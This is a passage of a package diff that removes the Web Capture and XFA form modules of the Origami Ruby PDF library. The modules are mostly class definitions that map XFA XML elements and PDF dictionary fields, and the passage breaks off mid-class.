origami-1.2.7+really0.7.4/lib/origami/webcapture.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,91 +0,0 @@ -=begin - -= File - webcapture.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Webcapture - - class SpiderInfo < Dictionary - - include StandardObject - - field :V, :Type => Real, :Default => 1.0, :Version => "1.3", :Required => true - field :C, :Type => Array - - end - - class Command < Dictionary - - module Flags - SAMESITE = 1 << 1 - SAMEPATH = 1 << 2 - SUBMIT = 1 << 3 - end - - include StandardObject - - field :URL, :Type => String, :Required => true - field :L, :Type => Integer, :Default => 1 - field :F, :Type => Integer, :Default => 0 - field :P, :Type => [ String, Stream ] - field :CT, :Type => String, :Default => "application/x-www-form-urlencoded" - field :H, :Type => String - field :S, :Type => Dictionary - - end - - class CommandSettings < Dictionary - - include StandardObject - - field :G, :Type => Dictionary - field :C, :Type => Dictionary - - end - - class SourceInformation < Dictionary - - include StandardObject - - module SubmissionType - NOFORM = 0 - GETFORM = 1 - POSTFORM = 2 - end - - field :AU, :Type => [ String, Dictionary ], :Required => true - field :TS, :Type => String - field :E, :Type => String - field :S, :Type => Integer, :Default => 0 - field :C, :Type => Dictionary - - end - - end - -end - - - diff -Nru origami-1.2.7/lib/origami/xfa.rb origami-1.2.7+really0.7.4/lib/origami/xfa.rb --- origami-1.2.7/lib/origami/xfa.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/xfa.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,3027 +0,0 @@ -=begin - -= File - xfa.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'rexml/document' - -module Origami - - class PDF - - def create_xfa_form(xdp, *fields) - acroform = create_acroform(*fields) - acroform.XFA = Stream.new(xdp, :Filter => :FlateDecode) - - acroform - end - - end - - module XFA - - class XFAError < Exception #:nodoc: - end - - module ClassMethods - - def xfa_attribute(name) - - read_xml_attr = lambda { return self.attributes[name.to_s] } - write_xml_attr = lambda { |value| self.attributes[name.to_s] = value } - - send(:define_method, "attr_#{name.to_s}", read_xml_attr) - send(:define_method, "attr_#{name.to_s}=", write_xml_attr) - - end - - def xfa_node(name, type, range = (0..(1.0/0))) - add_child = lambda { |*attr| - elt = self.add_element(type.new) - - unless attr.empty? - attr.first.each do |k,v| - elt.attributes[k.to_s] = v - end - end - - return elt - } - - send(:define_method, "add_#{name}", add_child) - end - - def mime_type(type) - send(:define_method, "mime_type") { return type } - end - - end - - def self.included(receiver) - receiver.extend(ClassMethods) - end - - class Element < REXML::Element - include XFA - end - - end - - module XDP - - module Packet - - # - # This packet encloses the configuration settings. - # - class Config < XFA::Element - mime_type 'text/xml' - - def initialize - super("config") - - add_attribute 'xmlns:xfa', 'http://www.xfa.org/schema/xci/3.0/' - end - - class URI < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(uri = "") - super('uri') - - self.text = uri - end - end - - class Debug < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - xfa_node 'uri', Config::URI, 0..1 - - def initialize - super('debug') - end - end - - class AdjustData < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(coercion = "0") - super('adjustData') - - self.text = coercion - end - end - - class Attributes < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - PRESERVE = "preserve" - DELEGATE = "delegate" - IGNORE = "ignore" - - def initialize(attr = PRESERVE) - super('attributes') - - self.text = attr - end - end - - class IncrementalLoad < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - NONE = "none" - FORWARDONLY = "forwardOnly" - - def initialize(incload = NONE) - super('incrementalLoad') - - self.text = incload - end - end - - class Locale < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(locale = "") - super('locale') - - self.text = locale - end - end - - class LocaleSet < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(uri = "") - super('localeSet') - - self.text = uri - end - end - - class OutputXSL < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - xfa_node 'uri', Config::URI, 0..1 - - def initialize - super('outputXSL') - end - end - - class Range < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(range = "") - super('range') - - self.text = range - end - end - - class Record < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(record = "") - super('record') - - self.text = "" - end - end - - class StartNode < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(somexpr = "") - super('startNode') - - self.text = somexpr - end - end - - class Window < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(win = "0") - super('window') - - self.text = win - end - end - - class XSL < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - xfa_node 'debug', Config::Debug, 0..1 - xfa_node 'uri', Config::URI, 0..1 - - def initialize - super('xsl') - end - end - - class ExcludeNS < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(ns = "") - super('excludeNS') - - self.text = ns - end - end - - class GroupParent < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(parentname = "") - super('groupParent') - - self.text = parentname - end - end - - class IfEmpty < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - DATAVALUE = "dataValue" - DATAGROUP = "dataGroup" - IGNORE = "ignore" - REMOVE = "remove" - - def initialize(default = DATAVALUE) - super('ifEmpty') - - self.text = default - end - end - - class NameAttr < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(name) - super('nameAttr') - - self.text = name - end - end - - class Picture < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(clause = "") - super('picture') - - self.text = clause - end - end - - class Presence < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - PRESERVE = "preserve" - DISSOLVE = "dissolve" - DISSOLVESTRUCTURE = "dissolveStructure" - IGNORE = "ignore" - REMOVE = "remove" - - def initialize(action = PRESERVE) - super('presence') - - self.text = action - end - end - - class Rename < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(nodename = "") - super('rename') - - self.text = nodename - end - end - - class Whitespace < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - PRESERVE = "preserve" - LTRIM = "ltrim" - NORMALIZE = "normalize" - RTRIM = "rtrim" - TRIM = "trim" - - def initialize(action = PRESERVE) - super('whitespace') - - self.text = action - end - end - - class Transform < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - xfa_attribute 'ref' - - xfa_node 'groupParent', Config::GroupParent, 0..1 - xfa_node 'ifEmpty', Config::IfEmpty, 0..1 - xfa_node 'nameAttr', Config::NameAttr, 0..1 - xfa_node 'picture', Config::Picture, 0..1 - xfa_node 'presence', Config::Presence, 0..1 - xfa_node 'rename', Config::Rename, 0..1 - xfa_node 'whitespace', Config::Whitespace, 0..1 - end - - class Data < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - xfa_node 'adjustData', Config::AdjustData, 0..1 - xfa_node 'attributes', Config::Attributes, 0..1 - xfa_node 'incrementalLoad', Config::IncrementalLoad, 0..1 - xfa_node 'outputXSL', Config::OutputXSL, 0..1 - xfa_node 'range', Config::Range, 0..1 - xfa_node 'record', Config::Record, 0..1 - xfa_node 'startNode', Config::StartNode, 0..1 - xfa_node 'uri', Config::URI, 0..1 - xfa_node 'window', Config::Window, 0..1 - xfa_node 'xsl', Config::XSL, 0..1 - - xfa_node 'excludeNS', Config::ExcludeNS - xfa_node 'transform', Config::Transform - - def initialize - super('data') - end - end - - class Severity < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - IGNORE = "ignore" - ERROR = "error" - INFORMATION = "information" - TRACE = "trace" - WARNING = "warning" - - def initialize(level = IGNORE) - super('severity') - - self.text = level - end - end - - class MsgId < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(uid = "1") - super('msgId') - - self.text = uid - end - end - - class Message < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - xfa_node 'msgId', Config::MsgId, 0..1 - xfa_node 'severity', Config::Severity, 0..1 - - def initialize - super('message') - end - end - - class Messaging < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - xfa_node 'message', Config::Message - - def initialize - super('messaging') - end - end - - class SuppressBanner < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - ALLOWED = "0" - DENIED = "1" - - def initialize(display = ALLOWED) - super('suppressBanner') - - self.text = display - end - end - - class Base < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(uri = "") - super('base') - - self.text = uri - end - end - - class Relevant < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(token = "") - super('relevant') - - self.text = token - end - end - - class StartPage < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - def initialize(pagenum = "0") - super('startPage') - - self.text = pagenum - end - end - - class Template < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - xfa_node 'base', Config::Base, 0..1 - xfa_node 'relevant', Config::Relevant, 0..1 - xfa_node 'startPage', Config::StartPage, 0..1 - xfa_node 'uri', Config::URI, 0..1 - xfa_node 'xsl', Config::XSL, 0..1 - - def initialize - super('template') - end - end - - class ValidationMessaging < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - ALL_INDIVIDUALLY = "allMessagesIndividually" - ALL_TOGETHER = "allMessagesTogether" - FIRST_ONLY = "firstMessageOnly" - NONE = "noMessages" - - def initialize(validate = ALL_INDIVIDUALLY) - super('validationMessaging') - - self.text = validate - end - end - - class VersionControl < XFA::Element - xfa_attribute 'lock' - xfa_attribute 'outputBelow' - xfa_attribute 'sourceAbove' - xfa_attribute 'sourceBelow' - - def initialize - super('versionControl') - end - end - - class Mode < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - APPEND = "append" - OVERWRITE = "overwrite" - - def initialize(mode = APPEND) - super('mode') - - self.text = mode - end - end - - class Threshold < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - TRACE = "trace" - ERROR = "error" - INFORMATION = "information" - WARN = "warn" - - def initialize(threshold = TRACE) - super('threshold') - - self.text = threshold - end - end - - class To < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - NULL = "null" - MEMORY = "memory" - STD_ERR = "stderr" - STD_OUT = "stdout" - SYSTEM = "system" - URI = "uri" - - def initialize(dest = NULL) - super('to') - - self.text = dest - end - end - - class Log < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - xfa_node 'mode', Config::Mode, 0..1 - xfa_node 'threshold', Config::Threshold, 0..1 - xfa_node 'to', Config::To, 0..1 - xfa_node 'uri', Config::URI, 0..1 - - def initialize - super('log') - end - end - - class Common < XFA::Element - xfa_attribute 'desc' - xfa_attribute 'lock' - - xfa_node 'data', Config::Data, 0..1 - xfa_node 'locale', Config::Locale, 0..1 - xfa_node 'localeSet', Config::LocaleSet, 0..1 - xfa_node 'messaging', Config::Messaging, 0..1 - xfa_node 'suppressBanner', Config::SuppressBanner, 0..1 - xfa_node 'template', Config::Template, 0..1 - xfa_node 'validationMessaging', Config::ValidationMessaging, 0..1 - xfa_node 'versionControl', Config::VersionControl, 0..1 - - xfa_node 'log', Config::Log - - def initialize - super("common") - end - end - - end - - # - # The _connectionSet_ packet describes the connections used to initiate or conduct web services. - # - class ConnectionSet < XFA::Element - mime_type 'text/xml' - - def initialize - super("connectionSet") - - add_attribute 'xmlns', 'http://www.xfa.org/schema/xfa-connection-set/2.8/' - end - - class EffectiveInputPolicy < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize - super('effectiveInputPolicy') - end - end - - class EffectiveOutputPolicy < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize - super('effectiveOutputPolicy') - end - end - - class Operation < XFA::Element - xfa_attribute 'id' - xfa_attribute 'input' - xfa_attribute 'name' - xfa_attribute 'output' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(name = "") - super('operation') - - self.text = name - end - end - - class SOAPAction < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(uri = "") - super('soapAction') - - self.text = uri - end - end - - class SOAPAddress < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(addr = "") - super('soapAddress') - - self.text = addr - end - end - - class WSDLAddress < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(addr = "") - super('wsdlAddress') - - self.text = addr - end - end - - class WSDLConnection < XFA::Element - xfa_attribute 'dataDescription' - xfa_attribute 'name' - - xfa_node 'effectiveInputPolicy', ConnectionSet::EffectiveInputPolicy, 0..1 - xfa_node 'effectiveOutputPolicy', ConnectionSet::EffectiveOutputPolicy, 0..1 - xfa_node 'operation', ConnectionSet::Operation, 0..1 - xfa_node 'soapAction', ConnectionSet::SOAPAction, 0..1 - xfa_node 'soapAddress', ConnectionSet::SOAPAddress, 0..1 - xfa_node 'wsdlAddress', ConnectionSet::WSDLAddress, 0..1 - - def initialize - super('wsdlConnection') - end - end - - class URI < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(uri = "") - super('uri') - - self.text = uri - end - end - - class RootElement < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(root = '') - super('rootElement') - - self.text = root - end - end - - class XSDConnection < XFA::Element - xfa_attribute 'dataDescription' - xfa_attribute 'name' - - xfa_node 'rootElement', ConnectionSet::RootElement, 0..1 - xfa_node 'uri', ConnectionSet::URI, 0..1 - - def initialize - super('xsdConnection') - end - end - - class XMLConnection < XFA::Element - xfa_attribute 'dataDescription' - xfa_attribute 'name' - - xfa_node 'uri', ConnectionSet::URI, 0..1 - - def initialize - super('xmlConnection') - end - end - - xfa_node 'wsdlConnection', ConnectionSet::WSDLConnection - xfa_node 'xmlConnection', ConnectionSet::XMLConnection - xfa_node 'xsdConnection', ConnectionSet::XSDConnection - - end - - # - # The _datasets_ element enclosed XML data content that may have originated from an XFA form and/or - # may be intended to be consumed by an XFA form. - # - class Datasets < XFA::Element - mime_type 'text/xml' - - class Data < XFA::Element - def initialize - super('xfa:data') - end - end - - def initialize - super("xfa:datasets") - - add_attribute 'xmlns:xfa', 'http://www.xfa.org/schema/xfa-data/1.0/' - end - end - - # - # The _localeSet_ packet encloses information about locales. - # - class LocaleSet < XFA::Element - mime_type 'text/xml' - - def initialize - super("localeSet") - - add_attribute 'xmlns', 'http://www.xfa.org/schema/xfa-locale-set/2.7/' - end - end - - # - # An XDF _pdf_ element encloses a PDF packet. - # - class PDF < XFA::Element - mime_type 'application/pdf' - xfa_attribute :href - - def initialize - super("pdf") - - add_attribute 'xmlns', 'http://ns.adobe.com/xdp/pdf/' - end - - def enclose_pdf(pdfdata) - require 'base64' - b64data = Base64.encode64(pdfdata).chomp! - - doc = elements['document'] || add_element('document') - chunk = doc.elements['chunk'] || doc.add_element('chunk') - - chunk.text = b64data - - self - end - - def has_enclosed_pdf? - chunk = elements['document/chunk'] - - not chunk.nil? and not chunk.text.nil? - end - - def remove_enclosed_pdf - elements.delete('document') if has_enclosed_pdf? - end - - def enclosed_pdf - return nil unless has_enclosed_pdf? - - require 'base64' - Base64.decode64(elements['document/chunk'].text) - end - - end - - # - # The _signature_ packet encloses a detached digital signature. - # - class Signature < XFA::Element - mime_type '' - - def initialize - super("signature") - - add_attribute 'xmlns', 'http://www.w3.org/2000/09/xmldsig#' - end - end - - # - # The _sourceSet_ packet contains ADO database queries, used to describe data - # binding to ADO data sources. - # - class SourceSet < XFA::Element - mime_type 'text/xml' - - def initialize - super("sourceSet") - - add_attribute 'xmlns', 'http://www.xfa.org/schema/xfa-source-set/2.8/' - end - end - - # - # The _stylesheet_ packet encloses a single XSLT stylesheet. - # - class StyleSheet < XFA::Element - mime_type 'text/css' - - def initialize(id) - super("xsl:stylesheet") - - add_attribute 'version', '1.0' - add_attribute 'xmlns:xsl', 'http://www.w3.org/1999/XSL/Transform' - add_attribute 'id', id.to_s - end - end - - # - # This packet contains the form template. - # - class Template < XFA::Element - mime_type 'application/x-xfa-template' - - class Boolean < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - NO = 0 - YES = 1 - - def initialize(bool = nil) - super('boolean') - - self.text = bool - end - end - - class Date < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(date = nil) - super('date') - - self.text = date - end - end - - class DateTime < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(datetime = nil) - super('dateTime') - - self.text = datetime - end - end - - class Decimal < XFA::Element - xfa_attribute 'fracDigits' - xfa_attribute 'id' - xfa_attribute 'leadDigits' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(number = nil) - super('decimal') - - self.text = number - end - end - - class ExData < XFA::Element - xfa_attribute 'contentType' - xfa_attribute 'href' - xfa_attribute 'id' - xfa_attribute 'maxLength' - xfa_attribute 'name' - xfa_attribute 'rid' - xfa_attribute 'transferEncoding' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(data = nil) - super('exData') - - self.text = data - end - end - - class Float < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(float = nil) - super('float') - - self.text = float - end - end - - class Image < XFA::Element - xfa_attribute 'aspect' - xfa_attribute 'contentType' - xfa_attribute 'href' - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'transferEncoding' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(data = nil) - super('image') - - self.text = data - end - end - - class Integer < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(int = nil) - super('integer') - - self.text = int - end - end - - class Text < XFA::Element - xfa_attribute 'id' - xfa_attribute 'maxChars' - xfa_attribute 'name' - xfa_attribute 'rid' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(text = "") - super('text') - - self.text = text - end - end - - class Time < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(time = nil) - super('time') - - self.text = time - end - end - - class Extras < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'boolean', Template::Boolean - xfa_node 'date', Template::Date - xfa_node 'dateTime', Template::DateTime - xfa_node 'decimal', Template::Decimal - xfa_node 'exData', Template::ExData - xfa_node 'extras', Template::Extras - xfa_node 'float', Template::Float - xfa_node 'image', Template::Image - xfa_node 'integer', Template::Integer - xfa_node 'text', Template::Text - xfa_node 'time', Template::Time - - def initialize - super('extras') - end - end - - class Speak < XFA::Element - xfa_attribute 'disable' - xfa_attribute 'id' - xfa_attribute 'priority' - xfa_attribute 'rid' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(text = "") - super('speak') - - self.text = text - end - end - - class ToolTip < XFA::Element - xfa_attribute 'id' - xfa_attribute 'rid' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(text = "") - super('toolTip') - end - end - - class Assist < XFA::Element - xfa_attribute 'id' - xfa_attribute 'role' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'speak', Template::Speak, 0..1 - xfa_node 'toolTip', Template::ToolTip, 0..1 - - def initialize - super('assist') - end - end - - class Picture < XFA::Element - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(data = nil) - super('picture') - - self.text = data - end - end - - class Bind < XFA::Element - xfa_attribute 'match' - xfa_attribute 'ref' - - xfa_node 'picture', Template::Picture, 0..1 - - def initialize - super('bind') - end - end - - class Bookend < XFA::Element - xfa_attribute 'id' - xfa_attribute 'leader' - xfa_attribute 'trailer' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize - super('bookend') - end - end - - class Color < XFA::Element - xfa_attribute 'cSpace' - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - xfa_attribute 'value' - - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('color') - - self.cSpace = "SRGB" - end - end - - class Corner < XFA::Element - xfa_attribute 'id' - xfa_attribute 'inverted' - xfa_attribute 'join' - xfa_attribute 'presence' - xfa_attribute 'radius' - xfa_attribute 'stroke' - xfa_attribute 'thickness' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'color', Template::Color, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('corner') - end - end - - class Edge < XFA::Element - xfa_attribute 'cap' - xfa_attribute 'id' - xfa_attribute 'presence' - xfa_attribute 'stroke' - xfa_attribute 'thickness' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'color', Template::Color, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('edge') - end - end - - class Linear < XFA::Element - xfa_attribute 'id' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'color', Template::Color, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('linear') - end - end - - class Pattern < XFA::Element - xfa_attribute 'id' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'color', Template::Color, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('pattern') - end - end - - class Radial < XFA::Element - xfa_attribute 'id' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'color', Template::Color, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('radial') - end - end - - class Solid < XFA::Element - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('solid') - end - end - - class Stipple < XFA::Element - xfa_attribute 'id' - xfa_attribute 'rate' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'color', Template::Color, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('stipple') - end - end - - class Fill < XFA::Element - xfa_attribute 'id' - xfa_attribute 'presence' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'color', Template::Color, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'linear', Template::Linear, 0..1 - xfa_node 'pattern', Template::Pattern, 0..1 - xfa_node 'radial', Template::Radial, 0..1 - xfa_node 'solid', Template::Solid, 0..1 - xfa_node 'stipple', Template::Stipple, 0..1 - - def initialize - super('fill') - end - end - - class Margin < XFA::Element - xfa_attribute 'bottomInset' - xfa_attribute 'id' - xfa_attribute 'leftInset' - xfa_attribute 'rightInset' - xfa_attribute 'topInset' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('margin') - end - end - - class Border < XFA::Element - xfa_attribute 'break' - xfa_attribute 'hand' - xfa_attribute 'id' - xfa_attribute 'presence' - xfa_attribute 'relevant' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'corner', Template::Corner, 0..4 - xfa_node 'edge', Template::Edge, 0..4 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'fill', Template::Fill, 0..1 - xfa_node 'margin', Template::Margin, 0..1 - - def initialize - super('border') - end - end - - class Break < XFA::Element - xfa_attribute 'after' - xfa_attribute 'afterTarget' - xfa_attribute 'before' - xfa_attribute 'beforeTarget' - xfa_attribute 'bookendLeader' - xfa_attribute 'bookendTrailer' - xfa_attribute 'id' - xfa_attribute 'overflowLeader' - xfa_attribute 'overflowTarget' - xfa_attribute 'overflowTrailer' - xfa_attribute 'startNew' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('break') - end - end - - class Message < XFA::Element - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'text', Template::Text - - def initialize - super('message') - end - end - - class Script < XFA::Element - xfa_attribute 'binding' - xfa_attribute 'contentType' - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'runAt' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(script = "") - super('script') - - self.text = script - end - end - - class JavaScript < Script - def initialize(script = "") - super(script) - - self.contentType = 'application/x-javascript' - end - end - - class FormCalcScript < Script - def initialize(script = "") - super(script) - - self.contentType = 'application/x-formcalc' - end - end - - class Calculate < XFA::Element - xfa_attribute 'id' - xfa_attribute 'override' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'message', Template::Message, 0..1 - xfa_node 'script', Template::Script, 0..1 - - def initialize - super('calculate') - end - end - - class Desc < XFA::Element - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'boolean', Template::Boolean - xfa_node 'date', Template::Date - xfa_node 'dateTime', Template::DateTime - xfa_node 'decimal', Template::Decimal - xfa_node 'exData', Template::ExData - xfa_node 'float', Template::Float - xfa_node 'image', Template::Image - xfa_node 'integer', Template::Integer - xfa_node 'text', Template::Text - xfa_node 'time', Template::Time - - def initialize - super('desc') - end - end - - class Keep < XFA::Element - xfa_attribute 'id' - xfa_attribute 'intact' - xfa_attribute 'next' - xfa_attribute 'previous' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - - NONE = "none" - CONTENTAREA = "contentArea" - PAGEAREA = "pageArea" - - def initialize - super('keep') - end - end - - class Occur < XFA::Element - xfa_attribute 'id' - xfa_attribute 'initial' - xfa_attribute 'max' - xfa_attribute 'min' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('occur') - end - end - - class Overflow < XFA::Element - xfa_attribute 'id' - xfa_attribute 'leader' - xfa_attribute 'target' - xfa_attribute 'trailer' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize - super('overflow') - end - end - - class Medium < XFA::Element - xfa_attribute 'id' - xfa_attribute 'imagingBBox' - xfa_attribute 'long' - xfa_attribute 'orientation' - xfa_attribute 'short' - xfa_attribute 'stock' - xfa_attribute 'trayIn' - xfa_attribute 'trayOut' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize - super('medium') - end - end - - class Font < XFA::Element - xfa_attribute 'baselineShift' - xfa_attribute 'fontHorizontalScale' - xfa_attribute 'fontVerticalScale' - xfa_attribute 'id' - xfa_attribute 'kerningMode' - xfa_attribute 'letterSpacing' - xfa_attribute 'lineThrough' - xfa_attribute 'lineThroughPeriod' - xfa_attribute 'overline' - xfa_attribute 'overlinePeriod' - xfa_attribute 'posture' - xfa_attribute 'size' - xfa_attribute 'typeface' - xfa_attribute 'underline' - xfa_attribute 'underlinePeriod' - xfa_attribute 'use' - xfa_attribute 'usehref' - xfa_attribute 'weight' - - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'fill', Template::Fill, 0..1 - - def initialize - super('font') - end - end - - class Hyphenation < XFA::Element - xfa_attribute 'excludeAllCaps' - xfa_attribute 'excludeInitialCap' - xfa_attribute 'hyphenate' - xfa_attribute 'id' - xfa_attribute 'pushCharacterCount' - xfa_attribute 'remainCharacterCount' - xfa_attribute 'use' - xfa_attribute 'usehref' - xfa_attribute 'wordCharacterCount' - - def initialize - super('hyphenation') - end - end - - class Para < XFA::Element - xfa_attribute 'hAlign' - xfa_attribute 'id' - xfa_attribute 'lineHeight' - xfa_attribute 'marginLeft' - xfa_attribute 'marginRight' - xfa_attribute 'orphans' - xfa_attribute 'preserve' - xfa_attribute 'radixOffset' - xfa_attribute 'spaceAbove' - xfa_attribute 'spaceBelow' - xfa_attribute 'tabDefault' - xfa_attribute 'tabStops' - xfa_attribute 'textIndent' - xfa_attribute 'use' - xfa_attribute 'usehref' - xfa_attribute 'vAlign' - xfa_attribute 'widows' - - xfa_node 'hyphenation', Template::Hyphenation, 0..1 - - def initialize - super('para') - end - end - - class Arc < XFA::Element - xfa_attribute 'circular' - xfa_attribute 'hand' - xfa_attribute 'id' - xfa_attribute 'startAngle' - xfa_attribute 'sweepAngle' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'edge', Template::Edge, 0..1 - xfa_node 'fill', 